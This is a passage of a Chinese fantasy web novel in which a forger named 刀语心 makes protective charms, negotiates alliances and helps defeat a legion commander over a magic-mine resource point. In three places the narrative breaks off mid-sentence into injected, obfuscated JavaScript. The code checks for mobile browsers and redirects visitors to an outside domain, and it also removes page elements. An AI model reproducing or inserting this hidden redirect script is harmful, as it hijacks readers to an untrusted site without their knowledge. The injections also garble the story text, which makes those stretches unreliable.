“这护符很有用,我替大家谢过你了。” “不客气,那就再见了。” 他们彼此挥手告别,一抹赤红色在眼前闪过,谢止沉就已经带着刀语心回到无名镇之中。 比起之前的穿梭时间这次速度快上许多,不知道谢止沉是变强了,还是不打算再伪装了?刀语心有种感觉,谢止沉像是迫不及待把自己带走。 再转眼,刀语心身形一顿。 原本被破坏的家已经恢复原样,不再是离开前的一片废墟,虽然没有一模一样地还原,但就整体而言比从前更加温馨。 还没来得及多问,回到无名镇接收到信号后腕带就开始不断震动,有人给刀语心打来通信。 “你先忙吧,之后有空再慢慢说。”看出刀语心的欲言又止,谢止沉体贴地提议道。 简单道谢后,刀语心推开一间新屋子的房门,这里原本是一间闲置的杂物室,但如今摆放着一张长桌,被改造成专门用来会谈的地方。 在第三次震动感从手腕上传来后,打量完四周的刀语心拉开主位的椅子坐下,点开通信。 但对面像是没有预料到刀语心会接通,传来的只有无尽的沉默和漆黑一片的页面。 “你们最好找我有事。”忍住想挂断的念头刀语心开口,她知道既然一接通信号就传来消息,说明他们已经找了她很久。 听到刀语心的声音后,对方也迟迟反应过来,一张带着满脸怒意的面容出现在悬浮页面中央。 “是不是你告的密?”查了一切可疑要素后,救世会高层终于想起了刀语心。 大声质问刀语心的人是个和她年纪相仿的少年,刀语心记得他,木白,因为战斗方面的天赋被拉拢入救世会,如今已经是救世会决策层之一。 不得不说神殿的动作真快。 “是啊,是我。那是我送你们的礼物,喜欢吗?”将屏幕拖到一边后,刀语心一心二用,手上看着玄洛交给自己的图纸。 “礼物?你还敢说这是礼物?救世会因为你损失了将近四分之一的资源!” 对此刀语心看都没看他一眼,只是嗤笑一声回应:“你们既然敢让诅咒发作,就该准备好承受代价。” “诅咒?”木白听到陌生的词语后愣住,但随后不管不顾接着指责刀语心:“再怎么说,你也不该将救世会暴露在神殿面前!” “你们这不是还活着吗?”刀语心才不相信这一次就能彻底将救世会覆灭,他们有的是保全自己的手段。 “会里的预言家因为这件事情现在生死不明,很多教众都被神殿带走,据点大多都被毁了原有的资源也被夺走……” “然后呢?”滔滔不绝地抱怨被刀语心打断,“难道拥有这些东西的你们会对我做出什么有利的事吗?” 刀语心很明白他此刻的怒火是因为自己所作所为影响到他应有的利益,但承受诅咒的她难道就应该忍气吞声?绝不。 “你!真是不可理喻!” 气红了脸的少年在说不出反驳的话后,被人从屏幕前带走了,取而代之的是巫津那张令人生厌的脸。 “许久不见你还真是给了我很大的惊喜,不过可惜的是损失在预料范围内。”先前木白的大吵大闹反而比不上巫津这轻飘飘的一句话让刀语心不爽。 “救世会已经扎根在这片大地,失去教众我们还可以去煽动更多的人,诅咒的事并不由我们决定,你应该把气撒在正确的地方。” “还轮不到你对我指手画脚。”刀语心那双漆黑深眸中只余厌烦。 “这只是我的建议,毕竟如果真的有一天救世会被连根拔起,你也不可能置身事外。”相比大动干戈什么表情都写在脸上的木白,巫津就显得镇定自若。 “的确,你在锻造方面的天赋是最顶尖的那一层,但这不代表神殿就会对你另眼相看,比起他们,救世会甚至算得上良善之辈。” “所以?”刀语心很讨厌巫津这种弯弯绕绕的话术,他知道谜底并不告知自己,这本身就是一种蔑视。 “你没想过吴阿婆什么突然死亡吗?她也是锻造师,而且她‘恰巧’还是当时最顶尖的人类锻造师。”透过屏幕刀语心看到那双不加以任何掩饰满是算计的目光,这让她不得不警惕。 “那些问题我自己会找到答案,对你,我只有一句劝告。” “你最好死在别人手里。” 或早或晚,总有一天刀语心会找到他,到那时死亡只会是最轻的惩戒。 闻言巫津脸上笑容更甚,仿若他毫不畏惧,“我可舍不得死在别人手里,我等着你来杀我。” 没兴趣多看巫津一眼,刀语心在听完后就直接挂断通讯。 不过先前那些话盘旋在她的脑海。 虽然巫津的话绕来绕去,但依然透露出很多信息,比如诅咒的控制权不在他们手上,或者说不在他所控制的救世会中。 如果没遇到占星会祭司,刀语心还会怀疑一下这是巫津想要转移她视线的说辞。 至于吴阿婆,在刚才的谈话中巫津在不停提到神殿,想来是吴阿婆的死应该和神殿有某种联系。 神殿在遏制不属于他们的锻造师,为了让所有的锻造师资源都在神殿?为了增强神权的权威性?那救世会让她待在无名镇,远离人类发展的中心城市,是否为的也是逃过神殿的视线? 只是这一切现在都是猜想并没有实质性证据,将那些烦琐的思绪掐断,刀语心开始工作。 她需要在开战之前,做出足够多的保命护符和武器。 有玄洛的图纸,护符自动化流程并没有耗费刀语心太多时间,在天亮之前整条线路就开始运作,虽然做工远不及自己锻造,但能保留最重要的保命特性。 看着护符自动被雕刻赋上特性,刀语心不由得感叹机械化的便利,不过效率还有待提高。 只不过即便刀语心材料充足,也无法在冲突开始之前让所有人装备上。 毕竟刀语心一开始考虑的就只有卫队,她并不是全知全能的神明,她会尽力但无法尽善尽美。 至于武器,刀语心的设计思路是拿起来扣下扳机就可以用的自动追踪枪械,为了不让敌人使用还需要绑定生物信息。 还没等她开始改良,就听见一阵敲门声响起。 现在是万籁俱寂的深夜,在刀语心怀疑自己幻听之前,那声音再一次响起。 她放下手中的锻造锤,边思考是否拿出武器边走向大门,她有预感大概会是公会的人,但她不得不防备。 不过在打开门后,如她预料的一样。 身披斗篷的二人站在门外,和刀语心有过一面之缘的宋齐无声挥手,算是简单和刀语心打了个招呼,而和他并肩的简一,则是开始那天没来得及和刀语心说的自我介绍: “刀语心小姐你好,我是罗会长的副官,简一。” 明白二人来意的刀语心侧身让他们进入家中交谈,会议室也在此刻派上用场,刀语心坐在长桌主位,而公会二人坐在她的右手侧。 双方都不喜欢虚与委蛇,所以刀语心率先开口切入核心: “我并不排斥合作,但我有一个问题需要确认。我需要确定你们不是在两头下注,确保这不是一种用来渗透的手段。” 考虑过刀语心的顾虑,提前做了准备的简一直接拿出一个仪器放在长桌之上。 “这是那帮老东西研究出来的测谎仪,你可以将它拆解,确认其中没有被动任何手脚。”说着,简一将测谎仪递给刀语心,“你可以在默念,然后确认自己想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在问题的关键就在罗茜身上,她因为一些不知名原因,必须站在刀语心的对立面。 “罗会长有什么弱点吗?”罗茜是重要战力,也是能否获胜的关键节点。 “关于这个……”简一面露难色,“刀语心小姐不是我不想将会长的弱点告诉你,是我也不知道。只有一点我明确知晓,那就是小心会长的眼睛。” 在天亮之前他们得回到公会,白天二人不便于来到刀语心这里,有什么事只能在终端上联络。 他们的合作并不在明面,刀语心对此表示理解,毕竟她还指望简一他们能够多带些有关军团的情报。 不过本要离开的简一放缓步子停住,转身说道:“刀语心小姐,我还有一个请求。” 刀语心抬眸看着简一,表示自己在听。 “公会可以让步更多的资源点份额,作为交换,请不要在战斗中杀死会长。” “没问题。”刀语心一口答应下来,她并不是什么喜欢杀人的疯子。 另一边的公会议事厅中,大清早起来听军团长一箩筐废话的罗茜,在心无旁骛地品茶。 “你身后那两个小跟班怎么今天不见踪影?”即将离开前,军团长特地问道。 他有种不好的预感总觉得公会在密谋着什么,再加上前不久刺杀刀语心失败,让他有些气急败坏,担心公会认为军团不靠谱转而寻求其他合作对象。 “他们有自己的任务。”罗茜的借口并不是很用心,但好在这时,简一他们也恰好回到公会。 大门被推开,军团长对上简一那双暗藏讥讽的双眼,以及看到身后手中还拿着鲜血淋漓异兽血肉的宋齐,心中那丝疑虑才得以打消。 “关于我们的合作,我还有一点要告知罗副会长你。”军团长想起什么,停下回头看向罗茜。 副字被他咬得格外明显。 “帝国那边发来战报,总督已经平定了内乱,他的视线必将投向更远的地方,而沙漠中心的魔矿资源点是目前已知的最大范围,他有极大可能来到此地。” “你什么意思?”在罗茜回应之前,简一就先一步语气极其不耐地反问。 “我只是希望我们的合作不要出现任何纰漏,仅此而已。” 48. 第 48 章 从白天忙到黑夜刀语心的休息时间微乎其微,她本可以不做这一切,只是她希望有一天,无名镇也可以变成异兽族群那样欣欣向荣的地方。 所以她想保护更多的人。 只要敌人消灭得够快其他人遇到危险的概率就更小,武器改良后再批量制造组装,虽然有谢止沉的帮忙,但刀语心还是忙得脚不离地。 她甚至没有丝毫间隙看终端,直到卫队的人找上门来她才知晓裴瑛想和她见面。 “我帮你联系他们安排时间吧。”谢止沉将一切看在眼中,他也想为刀语心减轻更多的负担。 先到的人是裴瑛,自看见刀语心被异兽抓走后她就没有心安过,直到刀语心传信息给她,裴瑛才勉强放下心来。 许久未见,裴瑛第一时间检查刀语心是否安然无恙。 “让你担心了队长,我这段时间过得很好。” “你平安无事就好。” 在等待其他人到来的途中,刀语心给裴瑛讲述着自己在异兽部落中的所见所闻,而谢止沉也在旁边静静聆听。 不过片刻迟明煦也来了,他简单打个招呼后就落座,只是他心生疑虑,为什么人都到齐了但还没有正式开始商讨作战事宜。 一阵机械转动的声响吸引他的注意,一阵闪烁后,简一的投影出现在迟明煦正对面。 碍于公会表面上还在和军团合作的特殊性,简一只能用这样的方式出现。 而见到投影的第一眼迟明煦就朝刀语心投去不解的目光,只不过那不是一种激烈的质问,而是一种幽怨,如果眼神会说话那迟明煦大概是在对刀语心说:你不是说好只选我的吗? 见此,刀语心只是两手一摊。 “你们公会这是在两头下注?”迟明煦咬牙切齿地开口,不得不说某些时候迟明煦和刀语心的思路是趋同的,他们都认为利益才是衡量行动的标杆。 “刀语心小姐同意我们的加入。”简一答非所问但效果显著,迟明煦闭上了嘴。 但简一也明白自己作为后来者,理应展现足够的价值来证明她是值得合作的对象。 “军团最后一批人会在明晚之前赶到,最迟下周就会开战。”那就是还有四天左右的时间准备,和谢止沉估算的大差不差。 “以及,军团会在夜晚对无名镇展开大范围袭击。”此举针对的就是卫队,比起争夺资源点他们还需要保护无辜群众。 “公会可供你调遣的人有多少?”裴瑛发问。 在得到简一的回答后,裴瑛指出当下问题所在:“人手有些不够。”商会那边的布置迟明煦和裴瑛已经讨论过,卫队内的布防裴瑛更是一清二楚。 既然如此,“我还有一个人选。”刀语心出声说道。 片刻后,绿绮的身影就出现在会议室中。 见到刀语心的那一刻绿绮就想扑上去,但感受到裴瑛和谢止沉投来的视线后,绿绮只是迅速乖巧地蹿到刀语心身边。 “你这段时间都去哪里了?没事吧?” 问完后得到绿绮和先前一样的回答,她似乎还有什么话想和刀语心说,但碍于在场的人太多绿绮只能先坐下,参与到会议之中。 至于谢止沉,在绿绮到来之后,不停互相敲击的手指昭示他内心有些烦躁。 简单介绍后,众人都对绿绮的加入没有异议,至于归属权划分问题…… 在绿绮没有来之前众人就讨论过,卫队占百分之三十五,商会占三十,公会二十,身为个体刀语心足足有十五的份额。 “我自愿放弃。”说完这话后绿绮看向刀语心,“我只想帮你。” “既然你会出力,那么资源点就会有你的一份。”刀语心将自己的百分之十让给绿绮用于发展无名镇的救世会。 从一开始刀语心就只想要百分之五,况且过多资源堆积她也无法发挥出最大价值。 听到这话的绿绮也不再固执,听从刀语心的安排。 接下来的会议中,军团的战斗力构成也被简一详细告知众人。 在无名镇的军团属于帝国第五支,虽说数量众多但质量不高,派去刺杀刀语心的已经属于中上层,四十级以上的包括军团长有两人,三十级以上的有七人,其中有两名都已经被公会策反。 有关战斗部分,刀语心从一开始就不在可选择范围之内。 在座的绝大部分人都没有见过刀语心的真正实力,又出于种种原因,身为锻造师的她注定不便直接参与冲突第一线,在战场上这种身份带来的不信任感会被加剧。 不过—— “有个地方非常需要你。”简一出声,随即军团长所有已知信息就被投影在众人面前。 “他有一个专门用于逃脱的技能,虽然身为行者的宋齐也有着范围更广的空间系瞬移,但他毕竟等级不高无法将所有路线照顾周全。” 语调一转,简一看向坐在主位的刀语心,“或许刀语心小姐可以制造一个追踪装置?” “没问题,我不会让他逃掉。”刀语心脑中已经有一个大致雏形,她明白这场冲突不一定要一方所有人都死去,但军团长绝对不能活下去。 商议后大致的布局如下:正面战场由裴瑛对付军团长和罗茜,简一、绿绮二人各自带队划分战场清剿杂兵,叶冰彦、迟明煦负责守住无名镇,刀语心和宋齐负责追踪逃离的军团长。 会议结束后众人各自离开,不过绿绮特地留下,她有其他事情和刀语心说。 “救世会的人找你了?” “对,而且木白主动向主教请求派遣来无名镇。” 大概率是来寻仇,绿绮很清楚刀语心那番所作所为所引起的震荡,救世会这些年搭建起的基业毁了大半,但好在并没有伤及那些从未作恶的人员。 而刀语心在思考这番举动是否一开始出自木白的本意。 那天木白虽然气愤,但并没有放出狠话说什么要她付出代价之类的,所以有极大的可能是被巫津煽动,不排除是刀语心恶意揣测,但她也乐意把账算在巫津头上。 “没关系,不用担心。”大不了直接将他杀掉,木白自始至终属于救世会恶的那方,借救世之名,行不义之举。 “你也要保护好自己,有什么事情及时找我。”说完,刀语心将一部分保命护符交给绿绮。 告别众人后,刀语心又投身于忙碌的锻造事业之中。 出于私心,她还想给裴瑛准备一个基于保命护符和护心镜的升级版造物,战场上总是刀枪无眼,况且裴瑛还得以一敌二。 即便裴瑛很强,是所有人心中的顶梁柱,但刀语心很清楚除开那些之外,裴瑛拥有的也只是血肉之躯。 连轴转的刀语心在最终期限来临之前,交付一大批保命护符和枪械,专门给裴瑛锻造的软甲也在其中,之前建起的信号站也被利用,刀语心拉了一条公共通讯连接众人。 剩下的只有追踪军团长的装置,她拜托谢止沉转交的同时,又接着开始忙碌。 眼见刀语心还想不眠不休地继续锻造,谢止沉看不下去出言劝阻:“你已经很久没休息了,先睡一觉吧,我可以帮你找到他。” 除开异形者那种受过特殊训练的异种,其余生命体很难逃过谢止沉流光的搜寻。 知道谢止沉是不想让自己太累,但刀语心也有自己的考量,“我知道你很厉害,但在无尽荒野上铺开力量也是很累的。” 前几次战斗中,刀语心用异化之力凝出黑潮就已经很费劲了,在野外那样毫无限制的区域上搜寻更不必说需要耗费多少力量,她也不希望谢止沉伤及自身。 而且不知道为什么,她最近一闭上眼就是噩梦,醒来也总是没来由地心慌,只有不断地锻造才能降低她心底的不安和焦躁。 但刀语心也明白这样下去不行,她出声安抚谢止沉:“等我做完装置我就去休息。” 入夜,完成一切准备工作的刀语心终于疲惫地合上眼,只是等待着她的依然还是恼人的噩梦。 “砰——” 还没睡多久,巨大的爆炸声就将刀语心从梦中惊醒。 嗡鸣声连绵不绝地传入耳中,四周传来明显震动,刀语心无暇顾及噩梦,她起身急忙走出门外就见到前来寻找她的谢止沉。 他的声音传入刀语心耳中:“军团的人在四处破坏无名镇。” 好在有简一的提前告知让卫队对此有所预防,才没有伤及无辜以及遭受更大损失。 将工作台上的追踪装置收起,二人就离开家中顺着最近的打斗声赶去,但并不是预想中的军团和卫队激战,而是普通人与普通人之间的迫害。 平时有卫队的制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听到这话,军团长总有种自己被当枪使的感觉,虽然有些不信任罗茜,但如今他也只有这一条路可走。 他深深看了笑意盈盈的罗茜一眼,接着双手持剑朝裴瑛走去。 进入战斗状态的裴瑛周身散发的血腥之气,站到她对面的一瞬军团长就有些汗流浃背,从前还是军团小卒时的他就听说过这位的传奇事迹。 他真的有资格和裴瑛对上吗?他绝对会死的吧? 军团长的脑海中不受控制地闪过这样的念头。 但他也知道如果失败等着他的也只有死路一条,他强忍着恐惧拿起手中大剑摆出攻击架势,他知道在你死我活的战场上,对方不会给他多说一句话的机会。 如他所料,裴瑛起手就是十分恐怖的攻击,在刀锋落下的那一刹,军团长连退几步堪堪抵挡。 传来的余震甚至波及远处的军团士兵,军团长的虎口已经被震出裂痕,渗出血迹。 流淌的殷红血液让军团长心中十分不安,他只能安慰自己,虽然他和裴瑛实力悬殊为天堑,但只要有罗茜的能力…… 就这么想着军团长突然头晕目眩,下一刻,那把大刀已经将他的身躯割裂,军团长被重创。 “罗茜?你在干什么!”为什么被影响的人是他? “真是抱歉,我只是很久没战斗过了,有些不熟悉自己的力量呢。”听着这饱含戏谑的话语,军团长也终于明白这是怎么一回事。 他成了弃子。 公会早就抛下军团和其他势力搭上线,明白这一点的军团长咬牙切齿,“罗茜,你这个叛徒。” “别说这么难听,我们从没真正合作过。” 罗茜慢悠悠走到裴瑛身边笑着打招呼,她们才是一边的。 意识到自己毫无胜算,再战斗下去等着他的只有死路一条,军团长一咬牙朝着人堆冲去。 他逃出分割好的范围圈,不分敌我抓住人就用来抵挡裴瑛的攻势,用如此无下限的手段用来克制裴瑛。 即便现在因为资源点而大打出手,但裴瑛明白该死去的不是听从命令的士兵。 幸亏有刀语心提前准备的保命护符,不然在军团长这般疯狗行径下不知要损失多少人手。 只是停手忙着拯救他人的裴瑛,再回头已经没了军团长的踪迹。 “他逃了。” 将染血大刀插在地上的裴瑛面色不善,即便刀语心只有一半的概率会遇上军团长,但她还是很担心。 很快她的忧虑变为实质,众人的通讯频道中都收到同一条信息。 刀语心:在我这里。 49. 第 49 章 还没等裴瑛做出下一步打算,周围一片嘈杂声音中,她清晰地听见一声不同寻常的乌鸦鸣叫。 下一刻她的意识就陷入混沌,尽管用极短时间内反应过来,但攻击已经落在裴瑛身上。 保命护符碎裂,软甲抵挡了大部分残余伤害,裴瑛拉开距离看过去,先前罗茜脸上的笑意已经消失殆尽,她无言张口对裴瑛说:杀了我。 没有眼镜遮掩的罗茜,她整个人不再是一朵美丽灿烂的玫瑰,而是如真正的烈火一般危险,光线将她手中的武器暴露,是小巧隐秘但同样攻击性极强的指环刀。 在罗茜眼中再次浮现那道用于控制的诡异色彩前,裴瑛闭上了眼。 随即庞大的精神力铺开,她不需要视觉也可以感受到周遭一切,裴瑛举起刀,精准无误地抵挡住罗茜的进攻。 若罗茜是火,那裴瑛就是高山上无可撼动的磐石。 进攻宣告失败反击即刻开始,大刀在裴瑛手中挥舞,若不是带来的冲击极为猛烈,罗茜会觉得那武器十分轻盈。 无穷无尽的压迫感袭来,罗茜只能不断闪躲,但最终她无处可退。 她只能看着那道蕴含无尽毁灭的攻击朝她袭来。 周围环境因可怖力量而震荡,数十米后的沙尘亦被扬起,远在别处的人群也因感受到冲击在不断摇晃。 一片混乱中,鸦羽发饰飘荡着落下。 与其一同被毁去的,还有一只盘旋在夜空中监视一切的乌鸦。 即便裴瑛对攻击把控炉火纯青,但距离过近的罗茜依然不可避免地受到伤害,在最后一点监视的余光散尽之前,她吐血倒下,心跳脉搏全数归零。 但裴瑛并没有放下警惕,她有预感这事还远没有结束。 原本失去生气的人重新睁开眼。 得知消息赶回来,想要带人去帮助刀语心追捕军团长的宋齐见到此情此景,只是急忙将罗茜扶起治疗,起身后罗茜对裴瑛露出一个虚弱但满含感激的笑。 “宋齐,带我这位战友去找刀语心小姐吧。”罗茜边说着边擦去自己嘴角流出的血,“至于这里的一切,就交给我好了。” 即便军团整体已经难掩颓势,但部分人依然还在负隅顽抗。 “所有人,闭上眼睛。”公共频道中传来一股机械感的冰冷女声。 敌人对此一无所知,他们只看见其他人在同一时刻闭上眼睛,而那些没来得及合上眼的人,都像是被什么操控了一般,直愣愣地转身看向同一个方向。 那些侥幸背对着逃过一劫的人,看着这诡异的一幕冷汗直冒,他们既不敢转身也无力抬腿逃走。 直到一只惨白的手拍上他们肩头。 月光照映的沙漠另一头,凄冷夜风从耳畔呼呼吹过,还伴随着阵阵急促的呼吸。 捂着伤口不断奔袭的军团长分辨这漆黑的阴影,确认远处是沙漠边缘的山隘,他知道只要穿过狭长的道路,自己就可以逃走重获生机。 还有烦人的昆虫在他的耳边掠过,军团长不耐地挥手赶走,同一时刻他在心里恶狠狠地咒骂。 该死的罗茜,竟然敢背叛他们的合作,等到他逃出生天重回帝国,他一定不会放过这些人,商会、公会、卫队,他谁都不会绕过。 只是还没等军团长在险道走出一段距离,就听见头顶上传来轰隆隆的声响。 一枚石子从天而降,紧随其后的是无数落石。 狼狈翻滚躲过后,军团长剧烈咳嗽着起身,被冲击掀起的灰尘侵入他的肺腑,只是他突然汗毛直立。 电光石火之间,他本能挥出大剑扛下攻击。 武器相撞的刺耳声在耳边响彻。 袭击他的武器是一柄长剑,在长剑之后的是一道深不见底的幽黑目光。 虽然先前从未打过照面,但就凭那双让人毛骨悚然的漆黑双眼,军团长知道这就是刀语心。 无名镇的天才锻造师,是公会抛弃他的主要原因,更是将他排除在外,将其他势力尽数联合起来的重要核心。 不过就到此为止了。 军团长用力挥剑,将刀语心逼退,既然没有一击得手,那么接下来他就不会再给对方任何机会。 只是一个锻造师而已。 “身为锻造师,拥有这份力量你的确很出色,只可惜,你看不到今天的太阳了。” 军团长看着站在不远处的刀语心,语调轻蔑地说着。 “聒噪。”刀语心看着手中的剑,若非必要,她连视线都不想分给军团长一丝一毫。 连着遇到棘手的敌人,这下可算让自己捏到软柿子了,军团长才不觉得刀语心一个锻造师能挡住自己多久。 但渐渐地,他察觉到有些不对劲。 虽然刀语心只是一味地防御,但他也没有任何一个机会能伤到她。 再这样拖下去绝对不行,他知道裴瑛肯定会在短时间内赶往这里。 “如果我死了,总督是不会放过你们的!还有这个无名镇,军团铁骑会把这里的一切推平,什么都不会剩下!” 只可惜,这样大夸其词的威胁根本无法让刀语心感到一丝一毫的畏惧。 “只要你死无对证,又有谁会知晓?” 听到这话军团长心中一惊,他急忙查看自己的终端,不知为何他发送给帝国的求助全被拦截下来。 随着光线移动,他看见一个小巧的机械蜂藏在他的终端上。 “是你动了手脚!” “除了我还会是谁?”看着气急败坏的军团长,刀语心反问。 一把将机械蜂捏碎,军团长想要抓住间隙,重新将消息发出去。 他们军团有独立的通讯信道,不受外界干扰,只要收到他的求助,军团的铁骑就会把无名镇踏平—— 只见传信界面突然一阵扭曲,原本要发出去的信息瞬息间,被转换成另外的字样,无论军团长怎么操作,页面上依然一动不动,甚至,在一个个蹦出让他恐惧的字样。 “任、务、成、功?”他都要死了,哪来的成功? 军团长猛然回头看向刀语心所在的方向,她不知何时也打开了终端,而且她操控的正是军团长的通讯页面。 “你还真是……弱不可言。”话落,刀语心才缓缓看向军团长。 即便相隔一段不远的距离,他也能看清其中包含的蔑视,受到嘲讽的军团长脸涨成猪肝色,如果有测量仪的话,会显示他此刻血压飙升。 难道自己就拿这个锻造师没有一点办法?不,绝不可能! 军团长咬牙调动自己全身所有的力量,即便这会让还未痊愈的伤口崩裂,他也要将刀语心彻底斩杀。 属于他的最强一击朝刀语心砍去。 但刀语心听军团长这么多废话,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720459|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就是此刻,白色八面棱体在她手中高速旋转。 攻击落下后,岩壁上出现一处裂痕,无数扬起的尘烟阻挡住二人视线。 只是挥出这一击后,军团长脸上满是惊恐,作为使出招式的人,他很清楚,自己的攻击没有伤到刀语心。 他打偏了? 他怎么可能打偏! 这可是他十年磨一剑的终极杀招,她,刀语心,一个锻造师,怎么可能躲开? 但事实就是,从烟尘中走出的刀语心只是轻拍身上沾染的落灰,安然无恙地出现在军团长的视线范围之内。 她修改了概率,虽然空间戒指中的存款消耗殆尽,但得到的成果让刀语心很是满意。 看着宛如恶鬼般的少女脸上露出笑意,军团长这才意识到,这从始至终的一切都是刀语心刻意为之。 从一开始,他就毫无胜算。 他不止和裴瑛的距离犹如天堑,和刀语心亦是同样。 “你的价值耗尽了。”话语随着风飘入军团长耳中,但军团长心情是沉重的大相径庭,额头冒出的冷汗随着皮肤纹路流下,他瞳孔颤抖地看着刀语心朝自己走来。 是时候还债了,军团长让手下袭击刀语心的仇,她可还没报呢。 早在不知不觉间,异化之力就悄然蔓延到军团长的阴影之中,随着意念一动刀语心就融入异化之力中,消失得无影无踪。 不知道发生了什么的军团长茫然无措只剩恐惧,他举着剑四处张望,不知刀语心究竟会从哪里出现。 没等他被自己的恐惧折磨至崩溃,刀语心瞬间出现在他身后,一剑就将军团长捅穿。 他口吐鲜血,看着那鬼魅般的身影,满眼不可置信地倒在地上,身上不断涌出的鲜血渗入沙子的间隙中,但很快就会被别处吹来的沙尘覆盖。 毫不留情地将染血的灭灵剑抽出后,有关资源点的一切就此落下帷幕。 不过刀语心后知后觉地想到,军团长能就这么死去吗? “应该没说要留活口吧?”她低声自语。 好在军团长还没彻底死透,刀语心用异化之力捆住着他的手脚,也在这时天边也渐渐亮起光芒,迎着日出,她在终端上编辑消息。 随后,位于沙漠各处的众人纷纷收到刀语心传来的消息。 刀语心:军团长是要死的还是要活的? 罗茜:最好是半死不活的:D 刀语心:好的。 迟明煦:?我请问罗会长你是什么时候加进来的。 罗茜:刚刚。 “所以……我们还要继续去找刀语心小姐吗?”宋齐询问着裴瑛,他们二人刚脱离战场没多久。 “队长!我厉害吧!” 和刀语心单独的聊天界面上跳出的字句仿佛能让裴瑛看到那熟悉的面容,这也让裴瑛一直紧绷的神经也松懈下来,她目光中短暂露出只有在面对刀语心时才存在的柔和。 “我们回去等她吧。”不过刚说完,屏幕上又跳出一条新的消息。 迟明煦:各位忙完手头上的事情后,请到资源点中心签订协议。 与此同时沙漠某处风暴呼啸,没有一丝日光渗透其中,却有一队人身披白色暗金纹长袍在沙尘暴中缓行,他们无一人身上沾染飞扬的尘土。 “待天灾停歇,布置临时传送阵。” “是。” 50. 第 50 章 随着军团长的逃脱和罗茜的加入,厮杀声渐渐消弭。 这场争夺战其实范围不大,每个势力或多或少都有伤亡,唯有卫队是惊人的零死亡率。 并不是卫队中人一个个贪生怕死,相反在先前的战斗中他们都显得斗志昂扬,那种不顾一切不畏生死,只为夺得胜利的心气是其他势力无法拥有的。 他们都知晓夺得资源点之后,裴瑛会将其用作卫队之后更好的发展,到那时所有人都会受益。 太阳带来的温暖晨光撒落在众人身上,他们不约而同地抚摸着保命护符上的纹路,或是碎裂,或是完整,他们都清楚地知晓这都是刀语心的功劳。 她没有任何义务给予他们护符,但她依然那么做了。 在刀语心思考怎么回去的中途,一架载具掀起一道风浪后稳稳停到她的面前,很显然这是迟明煦的高端座驾。 简一、绿绮也都在其中。 不劳刀语心费心,绿绮非常熟练地操纵着傀儡扔上载具,然后行云流水地坐在刀语心身边挽住刀语心。 无人注意的角落,流光冒出头,有些愤怒地戳两下绿绮那双挽着刀语心的手。 “罗会长还好吗?”刀语心本以为等到事情结束,公会派出的代表会是罗茜。 “会长她受伤了,让我替她代劳。”简一摊手解释着,“小伤,大概只是因为她不想再跑一趟。” 几人交谈间,一份协议发到她们各自的终端上,紧接着迟明煦的声音从副驾驶位传来:“看看,你们有没有什么异议。” 一目十行地扫过后,刀语心发问:“所以这份协议受到什么保护?” 如果是旧世界,那好歹还有法律的存在,但浩劫过后那些律法条约已经化作历史的尘埃,堆积在时代的角落中。 “那当然是改变世界的神明大人咯。”靠着刀语心肩头的绿绮抢先回答。 “祂还管这些?” “这些小事当然碍不着祂的眼,祂只需制定规则,而违反者会受到相应的惩罚。”迟明煦补充道。 看来是和职业壁垒差不多的方式,那是否只要她用异化之力隐藏自己,她就可以毁约?刀语心思考这个问题。 “我觉得有些不太靠谱。”刀语心不打算用这次合作来试探真伪,但她打算提前堵上漏洞。 “我也觉得,所以我们才会来到这里。” 话落载具停下,众人已经来到资源点最中心,离开载具,脚下便不再是松散的沙漠,而是一眼望不到头的坚硬魔矿。 “从那次你被卷走后,魔矿就不再向外蔓延了,我们也得以测定范围。”确实是已知最大资源点,足够他们几个势力瓜分。 一个光锥悬在半空,不断旋转散发着光亮。 先一步抵达的裴瑛和宋齐正站在光锥附近,走近刀语心才发现,周围还有几颗钉子嵌在魔矿之中,和周遭环境相比非常突兀,显然并不是原本就存在于这里的。 “这就是用来保证我们控制权的锁链?” “对,科学院造出的协约链条,每一条都和人绑定,只要还有一条存在资源点的刷新光锥就受到制约。” 听到迟明煦介绍的简一冷嗤:“中央城那群老东西,只要关乎自己的利益就什么都能造出来。” 如今他们共同的阻碍军团已经被解决,在协议和链条的双重保证下,之后的分割归属权的流程没再遇到任何问题。 商会作为无名镇连接外界的枢纽,卫队、救世会以及刀语心,都和迟明煦达成了不同程度的合作,将部分归属权交给商会代理获取流通货币。 刀语心将自己全部份额交给商会代理,需要魔矿她可以将魔芯从意识空间取出生成。 视线扫过协议上一连串零,一种不真切的虚幻感再次席卷刀语心,和一开始在心底大致换算金额不同,协议上的数额都是确定的。 “个十百千万……三千万金币,这么多?” “对,就是这么多,这还只是每一期刷新的,每两个月会重新生成,这一期我已经打在你账户上了。”联合商行遍布整个残存区,无论到哪里都可以随用随取。 所以—— “你有金条吗?” “有,但你要它做什么?” “我要抱着金条回去睡觉。” 财大气粗的迟明煦甚至没要刀语心钱,直接给了她一个沉甸甸的手提箱,以及一个堆满金币的储存戒指,后者是刀语心委托的尾款,不过比起资源点带来的收益算得上是九牛一毛。 将手提箱拎到手的一瞬,重量有些超乎刀语心的想象,她在心中感慨: 天呐,这就是幸福的重量吗? 这种飘飘然的不真实感,直至刀语心回到无名镇都没有消退。 提前询问好谢止沉所在位置后,刀语心就先一步来找他,而收到消息的谢止沉也在定好的位置等待着刀语心。 远远就看到站在路边等着自己到来的人,刀语心一路小跑过去。 “我回来啦,你没事吧?” 